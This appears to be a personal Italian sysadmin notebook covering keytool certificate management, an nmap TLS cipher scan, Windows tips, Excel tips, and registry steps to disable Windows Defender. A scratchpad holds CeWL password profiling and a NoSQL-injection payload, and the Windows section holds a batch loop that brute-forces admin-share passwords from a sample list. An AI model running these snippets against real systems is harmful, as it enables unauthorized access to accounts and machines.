0050 - 84 43 f6 59 b9 14 97 b2-91 e5 41 aa d3 48 a6 a0 .C.Y......A..H..

0060 - 57 fd c1 9b 80 01 62 bb-fe ad 8b c9 cc ca 0c dd W.....b.........

0070 - 24 1c 46 40 3a 4d 6b 8e-6c 82 38 4b 91 ab e8 34 $.F@:Mk.l.8K...4

0080 - 93 28 80 f2 f6 a1 be 44-9a 5a 82 fb ca 78 a1 51 .(.....D.Z...x.Q

0090 - 60 fb 5b 29 90 e4 d0 14-cd ee 21 d3 fe 14 9e eb `.[)......!.....

Start Time: 1592779955

Timeout : 300 (sec)

Verify return code: 19 (self signed certificate in certificate chain)

-----------------------------------------------------------------------

 

ESEMPIO:

Visualizzare la LISTA SEMPLICE dei certificati contenuti in un keystore:

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool -list -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

Enter keystore password: changeit (se la password non è settata premere direttamente INVIO)

Keystore type: JKS

Keystore provider: SUN

Your keystore contains 79 entries

digicertassuredidrootca, Apr 16, 2008, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): 05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43

trustcenterclass2caii, Apr 29, 2008, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): AE:50:83:ED:7C:F4:5C:BC:8F:61:C6:21:FE:68:5D:79:42:21:15:6E

thawtepremiumserverca, Dec 11, 2009, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): E0:AB:05:94:20:72:54:93:05:60:62:02:36:70:F7:CD:2E:FC:66:66

swisssignsilverg2ca, Oct 31, 2008, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): 9B:AA:E5:9F:56:EE:21:CB:43:5A:BE:25:93:DF:A7:F0:40:D1:1D:CB

swisssignplatinumg2ca, Oct 31, 2008, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): 56:E0:FA:C0:3B:8F:18:23:55:18:E5:D3:11:CA:E8:C2:43:31:AB:66

equifaxsecureebusinessca1, Jul 18, 2003, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): DA:40:18:8B:91:89:A3:ED:EE:AE:DA:97:FE:2F:9D:F5:B7:D1:8A:41

thawteserverca, Dec 11, 2009, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): 9F:AD:91:A6:CE:6A:C6:C5:00:47:C4:4E:C9:D4:A5:0D:92:D8:49:79

utnuserfirstclientauthemailca, May 2, 2006, trustedCertEntry,&nbsp;&nbsp;

Certificate fingerprint (SHA1): B1:72:B1:A5:6D:95:F9:1F:E5:02:87:E1:4D:37:EA:6A:44:63:76:8A

thawtepersonalfreemailca, Dec 11, 2009, trustedCertEntry,

[...]

NOTA: per passare la password direttamente nel comando basta utilizzare il comando:

echo password | …

echo changeit | /usr/java/jdk1.6.0_45_patched/jre/bin/keytool -list -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

 

----------------------------------------------------------------------------------------

ESEMPIO:

Visualizzare il DETTAGLIO dei certificati contenuti in un keystore (Opzione -v):

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool -list -v -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

Enter keystore password: changeit

Keystore type: JKS

Keystore provider: SUN

Your keystore contains 95 entries

Alias name: digicertassuredidrootca

Creation date: Jan 7, 2008

Entry type: trustedCertEntry

Owner: CN=DigiCert Assured ID Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US

Issuer: CN=DigiCert Assured ID Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US

Serial number: ce7e0e517d846fe8fe560fc1bf03039

Valid from: Fri Nov 10 01:00:00 CET 2006 until: Mon Nov 10 01:00:00 CET 2031

Certificate fingerprints:

MD5: 87:CE:0B:7B:2A:0E:49:00:E1:58:71:9B:37:A8:93:72

SHA1: 05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43

Signature algorithm name: SHA1withRSA

Version: 3

Extensions:

#1: ObjectId: 2.5.29.15 Criticality=true

KeyUsage [

DigitalSignature

Key_CertSign

Crl_Sign

]

#2: ObjectId: 2.5.29.19 Criticality=true

BasicConstraints:[

CA:true

PathLen:2147483647

]

#3: ObjectId: 2.5.29.14 Criticality=false

SubjectKeyIdentifier [

KeyIdentifier [

0000: 45 EB A2 AF F4 92 CB 82 31 2D 51 8B A7 A7 21 9D E.......1-Q...!.

0010: F3 6D C8 0F .m..

]

]

#4: ObjectId: 2.5.29.35 Criticality=false

AuthorityKeyIdentifier [

KeyIdentifier [

0000: 45 EB A2 AF F4 92 CB 82 31 2D 51 8B A7 A7 21 9D E.......1-Q...!.

0010: F3 6D C8 0F .m..

]

]

 

 

*******************************************

...

...

*) L'output di questo comando come si puo' vedere e' lunghissimo ed una volta editato non consente di effettuare ricerche testuali al suo interno.

Per ovviare a questo si puo'reindirizzare l'output del comando ad un file di testo in modo da poterlo successivamente aprire con un qualunque editor ed effettuare liberamente ricerche testuali.

ESEMPIO:

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool -list -v -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts > certsdetail.txt

NOTA: per passare la password direttamente nel comando basta utilizzare il comando:

echo password | …

echo changeit | /usr/java/jdk1.6.0_45_patched/jre/bin/keytool -list -v -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts > certsdetail.txt

------------------------------------------------------------------------

ESEMPIO:

Import di un certificato in un cacerts

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool -importcert -v -trustcacerts -alias Cert_Pippo_com_2014 -file /home/nomeutente/pippo.pem -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

Enter keystore password: changeit

Owner: CN=*.dominio.com, O=Dominio, Inc;, L=Palo Alto, ST=California, C=US

Issuer: OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign, OU=VeriSign International Server CA - Class 3, OU=VeriSign, Inc., O=VeriSign Trust Network

Serial number: 00f77bbb3aaab235d44ccc7dba00a00

Valid from: Thu Jun 21 02:00:00 CEST 2010 until: Wed Jan 01 00:59:59 CET 2018

Certificate fingerprints:

[...]

Trust this certificate? [no]:yes

Certificate was added to keystore

[Storing ../jre/lib/security/cacerts]

*) NOTA:

Evitare il carattere - (trattino) nel nome dell'alias. Utilizzare come separatore il carattere _ (underscore)

------------------------------------------------------------------------

ESMPIO:

Esportare un certificato dal keystore

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool -exportcert -alias Cert_Pippo_com_2014 -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts -file /home/nomeutente/pluto.pm

Enter keystore password: changeit

Certificate stored in file /home/nomeutente/pluto.pm;

-------------------------------------------------------------------------

 

COPIA DI UN CERTIFICATO COME TESTO (COPIA E INCOLLA IN EDITOR TESTO VIM)

Generalmente per editare un certificato si usa il tool openssl x509 -text -in nomecert.crt perchè in questo modo risulta leggibile nei dettagli (data scadenza, protocollo di crittografia, etc).

Tuttavia un certificato si può anche aprire con un qualsiasi editor di testo (vim, cat, nano, etc) e appare qualcosa di simile:

[ssoldati@vmpslave1 certificati]$ cat master_ldap_cert_202006.pem

-----BEGIN CERTIFICATE-----

MIIC7jCCAlegAwIBAgIJAIGjSGfkOqYwMA0GCSqGSIb3DQEBCwUAMIGPMQswCQYD

VQQGEwJJVDENMAsGA1UECAwEUm9tYTENMAsGA1UEBwwEUm9tYTEYMBYGA1UECgwP

UG9zdGVjb20gUy5wLkEuMSIwIAYDVQQLDBlTZXJ2aXppIGRpIENlcnRpZmljYXpp

b25lMSQwIgYDVQQDDBttYXN0ZXItbGRhcC5wcm9kLnNpZHQubG9jYWwwHhcNMjAw

NjIxMjA0ODQxWhcNMzAwNjE5MjA0ODQxWjCBjzELMAkGA1UEBhMCSVQxDTALBgNV

BAgMBFJvbWExDTALBgNVBAcMBFJvbWExGDAWBgNVBAoMD1Bvc3RlY29tIFMucC5B

LjEiMCAGA1UECwwZU2Vydml6aSBkaSBDZXJ0aWZpY2F6aW9uZTEkMCIGA1UEAwwb

bWFzdGVyLWxkYXAucHJvZC5zaWR0LmxvY2FsMIGfMA0GCSqGSIb3DQEBAQUAA4GN

ADCBiQKBgQC+1cX4RhOqZZTU5Q6CsFPzHey6tq+s9bxkFFiVneFnaZ1IGdbo0+zz

eBCAcEpl3NucmziUwUjpi4jN1/KrNVi98jSKl/Gg9jC38UrYr7rYYBs5K5LjcGp1

ZYwA7K0S3cujJJlBsIgT1GgzWRoxQ5uMOExKVqp51auy48fB2yMQ8QIDAQABo1Aw

TjAdBgNVHQ4EFgQUxllHVrWr9TmhHfPuO/QnDwCYHocwHwYDVR0jBBgwFoAUxllH

VrWr9TmhHfPuO/QnDwCYHocwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOB

gQCGuj76YekItmDBKrOkfmKwIhlgTu/oj7XLx6Zs+3I4qYwUd6rlV6chkGow/VxY

DUXHVP9JmmvtRxFd2tSVNMNVpNUNHmRKSgD0nAUEx252BPjx4RxJl3qOmIq9wi90

k7i83qD2MnRtMnEwEfTr0aZNIXsbl2Ei/QTgBRbi8LKMUg==

-----END CERTIFICATE-----

-------------------------------------

NOTA: Selezionando il testo da BEGIN CERTIFICATE ad END CERTIFICATE e copiandolo in un nuovo file di testo si ottiene una copia esatta del certificato stesso.

Questo è molto utile se ci troviamo nella condizione di dover importare un certificato su una macchina nella quale, per un motivo qualsiasi, non possiamo trasferire file con sftp o con scp e altro.

Se funziona il copia e incolla sarà sufficiente copiare il testo del certificato e incollarlo nel nuovo file col nome che si preferisce. Una volta salvato il nuovo file sarà comunque possibile leggerlo con l'utility openssl come con il certificato originale.

 

------------------------------------------------------------------------

 

ESEMPIO:

Eliminare un certificato dal keystore

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool -delete -alias Cert_Pippo_com_2014 -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

Enter keystore password: changeit

 

(fonte = http://openskill.info/infobox.php?ID=1497)

-----------------------------------------------------------------------

 

ANALIZZARE VISUALIZZARE SPECIFICHE DETTAGLIATE SU CIFRATURA E VERSIONI TLS SUPPORTATE DAL SERVER con NMAP

nmap -Pn --script ssl-enum-ciphers -p 443 IP_ADDRESS

 

ESEMPIO: Visualizza dettagli TLS del Server Master LDAP sulla porta 636

ssoldati@vmp-rproxy-int1:~$ nmap -Pn --script ssl-enum-ciphers -p 636 192.168.31.75

Starting Nmap 5.51 ( http://nmap.org ) at 2020-06-22 00:20 CEST

Nmap scan report for master-ldap.prod.sidt.local (192.168.31.75)

Host is up (0.0051s latency).

PORT STATE SERVICE

636/tcp open ldapssl

| ssl-enum-ciphers:

| SSLv3

| Ciphers (9)

| TLS_RSA_WITH_3DES_EDE_CBC_SHA

| TLS_RSA_WITH_AES_128_CBC_SHA

| TLS_RSA_WITH_AES_256_CBC_SHA

| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA

| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA

| TLS_RSA_WITH_IDEA_CBC_SHA

| TLS_RSA_WITH_RC4_128_MD5

| TLS_RSA_WITH_RC4_128_SHA

| TLS_RSA_WITH_SEED_CBC_SHA

| Compressors (1)

| uncompressed

| TLSv1.0

| Ciphers (9)

| TLS_RSA_WITH_3DES_EDE_CBC_SHA

| TLS_RSA_WITH_AES_128_CBC_SHA

| TLS_RSA_WITH_AES_256_CBC_SHA

| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA

| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA

| TLS_RSA_WITH_IDEA_CBC_SHA

| TLS_RSA_WITH_RC4_128_MD5

| TLS_RSA_WITH_RC4_128_SHA

| TLS_RSA_WITH_SEED_CBC_SHA

| Compressors (1)

| uncompressed

| TLSv1.1

| Ciphers (9)

| TLS_RSA_WITH_3DES_EDE_CBC_SHA

| TLS_RSA_WITH_AES_128_CBC_SHA

| TLS_RSA_WITH_AES_256_CBC_SHA

| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA

| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA

| TLS_RSA_WITH_IDEA_CBC_SHA

| TLS_RSA_WITH_RC4_128_MD5

| TLS_RSA_WITH_RC4_128_SHA

| TLS_RSA_WITH_SEED_CBC_SHA

| Compressors (1)

| uncompressed

| TLSv1.2

| Ciphers (13)

| TLS_RSA_WITH_3DES_EDE_CBC_SHA

| TLS_RSA_WITH_AES_128_CBC_SHA

| TLS_RSA_WITH_AES_128_CBC_SHA256

| TLS_RSA_WITH_AES_128_GCM_SHA256

| TLS_RSA_WITH_AES_256_CBC_SHA

| TLS_RSA_WITH_AES_256_CBC_SHA256

| TLS_RSA_WITH_AES_256_GCM_SHA384

| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA

| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA

| TLS_RSA_WITH_IDEA_CBC_SHA

| TLS_RSA_WITH_RC4_128_MD5

| TLS_RSA_WITH_RC4_128_SHA

| TLS_RSA_WITH_SEED_CBC_SHA

| Compressors (1)

|_ uncompressed

Nmap done: 1 IP address (1 host up) scanned in 17.11 seconds

 

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

GLOSSARIO TERMINI E ACRONIMI

OSINT ===> Open Source INTelligence. Raccolta di informazione di server tramite database pubblici.

WEB Crawler ===> Programma che permette di enumerare tutte le pagine ed i contenuti di un sito web.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§

 

SCRATCHPAD

Password profiling with CeWL

cewl -w cewl_WackoPicko.txt -c -m 5 http://192.168.56.102/WackoPicko/

(The file cewl_WackoPicko.txt will be in /home /user directory)

{"$gt":""}

 

unicornscan (alternativa a nmap)

FILE DI CONFIGURAZIONE DELLA SHELL BASH

/home/nome-utente/.bashrc

/home/nome-utente/.bash_profile

/home/nome-utente/.profile

 

FORENSIC TOOLS to Download

TestDisk

e/o

PhotoRec

kill -9 PIDnumber

"Lo studio (La teoria) rende capaci, la pratica rende perfetti"

 

 

cat fileprovased.txt | grep -v tre ====> (visualizza tutte le righe che NON contengono la stringa cercata)

 

dreammarket (uno dei maggiori store del dark web)

showmount (utility gestione dei mount NFS etc) Da approfondire

 

 

DA APPROFONDIRE !!!!!!!!!!!!!!!

SSH Forwarding Tunnel (per connessione tramite browser)

*) In una label Mobax vuota lanciare il comando

ssh -L 4572:10.204.237.9:4572 ssoldati@192.168.30.68

ssh ssoldati@192.168.30.68 -L 4572:10.204.237.9:4572

*) Nel browser firefox:

https://127.0.0.1:4572/

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WINDOWS WINDOWS WINDOWS WINDOWS WINDOWS WINDOWS

__

,-~¨^ ^¨-, _,

/ / ;^-._...,¨/

/ / / /

/ / / /

/ / / /

/,.-:''-,_ / / /

_,.-:--._ ^ ^:-._ __../

/^ / /¨:.._¨__.;

/ / / ^ /

/ / / /

/ / / /

/_,.--:^-._/ / /

^ ^¨¨-.___.:^

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

RIPRISTINARE PARTIZIONI INACCESSIBILI (RECUPERO DATI)

PROBLEMATICA:

L’HD esterno USB (160_GB_USB) non permetteva più l’accesso ai dati (disco non presente o non

leggibile).

Da "gestione disco" risultava il nome della label (160_GB_USB), la dimensione, ma non il tipo di

File System (campo vuoto oppure dicitura RAW)

RISOLUZIONE:

Collegare l’HD al computer, aprire CMD.exe (prompt dei comandi) scrivere:

chkdsk /f x: [INVIO] (sostituire a x la lettera corrispondente al vostro specifico HD)

Finita la procedura, i dati presenti nel disco saranno di nuovo disponibili.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

systeminfo ===> Mostra info sul sistema (sia Software che Hardware)

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

COMANDO WMIC (DOS Command Line)

Mostra la lista completa delle opzioni

wmic /?

Mostra la lista delle opzioni per l'ambito specificato

wmic [opzione] /?

Visualizza il Serial Number del PC

wmic bios get serialnumber

Visualizza il Nome Host del PC

wmic computersystem get name

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

REFRESH DHCP LEASE WINDOWS

A volte capita che il DHCP non assegni correttamente l'indirizzo IP al computer.

Per risolvere il problema spesso è sufficiente forzare una ri-negoziazione dell'IP.

*) Aprire cmd.exe in modalita' Amministratore

*) Digitare il comando:

ipconfig /release

Questo comando rilascia l'indirizzo IP assegnato al MAC Address del nostro PC

*) Attendere ALMENO 5 MINUTI

Per poter aumentare le possibilità che il router aggiorni la lista di tutti i dispositivi connessi alla rete è bene attendere almeno cinque minuti prima di riconnettere il computer alla rete.

*) Digitare il comando:

ipconfig /renew

Fonte:

https://www.wikihow.it/Fare-il-Refresh-del-Tuo-Indirizzo-IP-in-Windows

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

COMBINAZIONI TASTI (KEYBOARD SHORTCUT)

Start & Ricerca

Tasto WINDOWS: apre il menu Start in modalità desktop, riporta in primo piano la Start Screen in modalità Tablet;

Tasto WINDOWS + S: apre la barra di ricerca (o Cortana) per l’inserimento testuale;

Tasto WINDOWS + C: apre Cortana in modalità di ascolto (se tale modalità è attiva e Cortana è attiva e disponibile nel proprio Paese);

Tasto WINDOWS + CTRL + F: cerca computer in un dominio Active Directory;

Desktop Virtuali

Tasto WINDOWS + CTRL + D: aggiunge un desktop virtuale;

Tasto WINDOWS + CTRL + Freccia destra/sinistra: naviga tra i desktop virtuali creati a destra (o a sinistra);

Tasto WINDOWS + CTRL + F4: chiude il desktop virtuale in uso; nel caso su quel desktop fossero aperti programmi o app, questi verranno spostati sul desktop immediatamente a sinistra;

Tasto WINDOWS + TAB: apre e lascia attiva la visualizzazione attività.

 

Pannelli & Notifiche

Tasto WINDOWS + A: apre il centro notifiche;

Tasto WINDOWS + B: sposta il cursore sull’area di notifica di sistema (di fianco all’orologio) e ne permette la navigazione tramite tastiera;

Tasto WINDOWS + CTRL + B: apre immediatamente l’app per cui è stata visualizzata l’ultima notifica;

Tasto WINDOWS + H: apre la barra di condivisione;

Tasto WINDOWS + I: apre il pannello Impostazioni;

Tasto WINDOWS + K: apre la barra di connessione a monitor esterno (pannello Connetti);

Tasto WINDOWS + R: apre la finestra di dialogo Esegui;

Tasto WINDOWS + V: passa da una notifica attiva all’altra; se premuto il tasto MAIUSC, inverte l’ordine di navigazione.

Gestione file & applicazioni

Tasto WINDOWS + E: apre "Esplora File";

Tasto WINDOWS + G: apre la "barra dei giochi" quando un gioco o un’app compatibili sono aperti; questa barra permette di catturare screenshot o, su periferiche compatibili, di registrare video;

Tasto WINDOWS + X: apre il menu contestuale del tasto Start (Collegamento rapido);

Tasto WINDOWS + Z: quando un’app Universal è eseguita a schermo intero, ne mostra i comandi disponibili;

Tasto WINDOWS + T: naviga tra le icone presenti sulla barra delle applicazioni;

Tasto WINDOWS + numero: passa all’applicazione (o ne apre una finestra) denotata dall’icona numero sulla barra delle applicazioni.

 

Gestione finestre

Tasto WINDOWS + Su: ingrandisce a tutto schermo (massimizza) la finestra attiva;

Tasto WINDOWS + Giù: demassimizza la finestra intera o, se è già demassimizzata, la riduce a icona;

Tasto WINDOWS + Home: riduce ad icona tutte le finestre tranne quella attiva;

Tasto WINDOWS + Destra/Sinistra: ridimensiona e fissa (snap) la finestra attiva a destra o a sinistra; se si rilascia per prima la freccia direzionale e dopo qualche secondo il tasto WINDOWS, è possibile scegliere un programma o un’app tra quelli attivi da snappare al fianco della finestra;

Tasto WINDOWS + Maiusc + Destra/Sinistra: sposta la finestra attiva da un monitor all’altro;

Tasto WINDOWS + , (virgola): mostra temporaneamente il desktop corrente e i bordi in trasparenza delle finestre attive;

Tasto WINDOWS + D: mostra il desktop riducendo immediatamente ad icona tutte le finestre attive sul desktop corrente;

Tasto WINDOWS + M: riduce ad icona tutte le finestre su tutti i desktop;

Tasto WINDOWS + Maiusc + M: ripristina tutte le finestre ridotte ad icona.

Sistema & Accessi

Tasto WINDOWS + L: blocca il dispositivo o cambia account;

Tasto WINDOWS + O: blocca l’orientamento del dispositivo;

Tasto WINDOWS + Pausa: mostra la finestra "Proprietà del sistema";

Tasto WINDOWS + P: permette di accedere alla modalità di visualizzazione delle presentazioni (opzioni di estensione schermo)

 

Accessibilità

Tasto WINDOWS + U: apre il Centro Accessibilità;

Tasto WINDOWS + Invio: apre l’Assistente Vocale;

Tasto WINDOWS + + (più) o – (meno): ingrandisce o riduce la visualizzazione tramite la lente di ingrandimento (Magnifier);

Tasto WINDOWS + Esc: chiude la lente d’ingrandimento.

 

 

------------ Windows Shell Script net use Password finder --------

for /F "token=1, 2*" %i in (user-pass-list.txt) do net use \\IP_ADDRESS\c$ %i /u:%j

---------------- fine script -------------------------------------

--------- user-pass-list.txt -------------------------------------

password administrator

"" administrator

12345 administrator

Pa$sw0rD administrator

altrepasswd administrator

----------- fine txt --------------------------------------------

 

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

WINDOWS SERVER 2012 R2

GESTIONE DISCHI

In Windows Server 2012 la gestione dei dischi è leggermente differente rispetto ai Windows client 8,10, etc.

Modo 1):

*) Cliccare sull'icona Server Manager Dashboard (vicino al tasto Win)

*) Cliccare su "File and Storage Services"

*) Cliccare su "Disks"

*) Cliccare col tasto sx sul disco da modificare e scegliere le operazioni (Bring Online, New Partition, etc)

*) Assegnare la corretta lettera di unità

NOTA: Nella lista dischi non compare il CD/DVD. Quindi per cambiare lettera di uità al DVD (D:\) per poi assegnarla ad un vDisk, bisogna utilizzare il tool Computer Management (diskmgmt.msc)

Modo 2):

*) Cliccare sull'icona Windows (in basso a sinistra)

*) Cliccare su "Administrative Tools"

*) Doppio click per aprire il tool "Computer Management"

*) Dalla lista selezionare "Disk Management"

*) Selezionare il disco da modificare e scegliere le varie opzioni come negli altri Windows

Modo 3):

*) Cliccare sull'icona Windows (in basso a sinistra), oppure premere [WIN +r] per aprire la finestra Run (Esegui)

*) Scrivere "diskmgmt.msc"

*) Si aprirà il tool gestione disco come nelle versioni Client di Windows

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

ABILITARE REMOTE DESKTOP

*) Cliccare sull'icona Server Manager Dashboard (vicino al tasto Win)

*) Cliccare su "Local Server"

*) Nel riquadro dovrebbe apparire la voce "Remote Desktop Disabled"

*) Cliccare sulla scritta "Disabled" ed abilitare il servizio nella schermata successiva

Se non compare la voce "Remote Desktop" allora va installato e configurato il ruolo RDS.

La procedura è disponibile al seguente URL:

https://www.andreamonguzzi.it/windows-server-2012-installare-e-configurare-il-ruolo-rds/

 

-------------------------------------------------------------------

 

*) Problema del copie e incolla tra Desktop Remoto e PC Host

Il client Remote Desktop ha nelle opzioni (Risorse Locali) sia quella di condividere dischi e partizioni del PC Host sulla macchina remota, sia quella relativa alla clipboard (Appunti).

Selezionando la casella appunti si abilita la funzione di copia e incolla tra RD e PC Host.

Tuttavia a volte capita che non funziona. Questo avviene perché si blocca un servizio chiamato rdpclip.exe (oppure Monitor Appunti RDP).

Per ripristinare la funzionalità del copia e incolla basta aprire il Gestione Attività (Task Manager) cliccando sull’icona Windows in basso a sinistra e scrivendo "task manager" o "gestione attivita".

Nella finestra cliccare su "Più dettagli" e nella label "processi" selezionare nella lista la voce Monitor Appunti RDP o rdpclip.exe e cliccare su "Termina attività".

Per rilanciare il servizio cliccare su "File" --> "Esegui nuova attività" scrivere rdpclip.exe e poi Invio.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

(*) DISATTIVA DISABILITA VISUALIZZAZIONE FILE RECENTI

Per disattivare la visualizzazione di documenti e file aperti di recente basta seguire la seguente semplice procedura:

*) Aprire una cartella qualunque

*) Cliccare sulla tab "visualizza"

*) Cliccare su "Opzioni" e selezionare "Modifica Opzioni cartelle e ricerca"

*) Nella finestra di dialogo, nella tab "Generale", nella sezione "Privacy"

*) Togliere la spunta alla voce "Mostra file usati di recente in Accesso rapido"

*) Togliere la spunta alla voce "Mostra cartelle usate di recente in Accesso rapido"

*) Cliccare su "Cancella" accanto alla voce "Cancella cronologia Esplora file"

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

(*) IMPOSTA VISUALIZZAZIONE DATA ORA GIORNO SETTIMANA NELLA BARRA DELLE APPLICAZIONI (SYSTRAY)

NOTA:

Se si usa l’impostazione "Usa pulsanti piccoli nella barra delle applicazioni" Windows automaticamente nasconderà la data per visualizzare soltanto l’ora. Se si vuole visualizzare anche la data ci sono 2 possibilità:

1) Deselezionare la voce "Usa pulsanti piccoli nella barra delle applicazioni" dalle proprietè della barra.

2) Deselezionare (se selezionata) la voce "Blocca la barra delle applicazioni" e, cliccando con il mouse sul bordo e trascinando in su, estendere verso l’alto la barra in modo da far ricomparire anche la data.

*) VISUALIZZARE GIORNO DELLA SETTIMANA

Per fare in modo che nella systray compaia anche il giorno della settimana seguire la seguente procedura:

*) Aprire Pannello di Controllo

*) Aprire "Data e Ora"

*) Cliccare su "Modifica data e ora"

*) Cliccare su "Cambia le impostazioni del calendario"

*) Nella tab "Data" in "Formati della data" inserire in corrispondenza della voce "Data breve" la seguente stringa esattamente come riportata

dddd dd/MM/yyyy

*) Cliccare su "Applica" quindi su OK ove richiesto.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

DISATTIVAZIONE WINDOWS DEFENDER

 

Come disinstallare Defender da Windows 10

Windows Defender è l’antivirus integrato per default in Windows 10, e rimane sempre attivo finché non si installa un altro prodotto antimalware nel sistema. Se si preferisce un prodotto commerciale, magari più reattivo, occorre essere certi di disinstallare Defender in modo corretto.
Fino a Windows 8, l’interfaccia di configurazione di Defender comprendeva un’opzione che consentiva di disattivare permanentemente il programma, ma nell’implementazione di Windows 10 è sparita.

È prevista infatti solo la disattivazione temporanea: bisogna aprire l’App Impostazioni, selezionare Aggiornamento e Sicurezza e poi fare clic sulla sezione Windows Defender. Qui si troverà  l’opzione Protezione in tempo reale (nella figura qui sotto), che però ha un effetto solo temporaneo.

 

 

Se invece, per qualunque motivo, voleste disinstallare Defender definitivamente, dovrete percorrere una strada diversa: vediamo quale.

Gli utenti della versione Pro di Windows 10 possono sfruttare le policy di gruppo: aprite la finestra di esecuzione con la scorciatoia Windows+R e digitate gpedit.msc per richiamare l’interfaccia di configurazione dei criteri di gruppo. Raggiungete la sezione Criteri Computer Locale/Configurazione computer/Modelli amministrativi/Componenti di Windows/Windows Defender. Fate doppio clic sulla voce Disattiva Windows Defender e impostate lo stato Attivata nella finestra di configurazione successiva (come nella figura sotto).

Se invece avete installato la versione Home di Windows 10 dovrete passare per il registro di configurazione: aprite la finestra di esecuzione con la scorciatoia Windows+R, digitate regedit per aprire l’editor del Registro di sistema, e raggiungete la chiave HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender. Selezionate Modifica/Nuovo/Valore DWORD (32 bit) e digitate il nome DisableAntiSpyware. Fate doppio clic sull’elemento appena creato e modificatene per concludere il valore portandolo da 0 a 1 (come nella videata qui sotto).

 

Disinstallando questo componente importante di Windows non si è più protetti contro il malware. Raccomandiamo di compiere questa operazione solo nel caso abbiate intenzione di installare software antimalware di terze parti.

 

==========================================================================================

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

==========================================================================================

 

EXCELL VISUALIZZARE LA LABEL SVILUPPO

La scheda "sviluppo" di default non è visualizzata nella barra degli strumenti.

Per visualizzarla:

-) Cliccare su "File" e poi su "Opzioni"

-) Cliccare sulla voce "Personalizzazione Barra Multifunzione"

-) Mettere la spunta alla voce "Sviluppo" e cliccare su OK

-) La label "Sviluppo" apparirà nella barra degli strumenti

 

EXCELL SOMMARE VALORI FILE XML

Obiettivo: sommare tutti i valori di una deteminata colonna di un file xls.

-) Trascinare il file xml sull’icona di excell e scegliere il formato .xml nella finestra di dialogo

In alternativa

-) Aprire un nuovo documento excell vuoto

-) Cliccare sulla label "Sviluppo" e quindi su "Importa" e scegliere il file xml da aprire.

Una volta aperto correttamente il file

-) Selezionare tutte le caselle nella colonna con i valori da sommare

-) Portarsi in corrispondenza della prima casella e cliccare sulla freccetta alla destra del punto esclamativo.

-) Cliccare su "Converti in numero"

-) Dopo la conversione i numero saranno incolonnati sulla destra e il triangolino verde dovrà essere scomparso

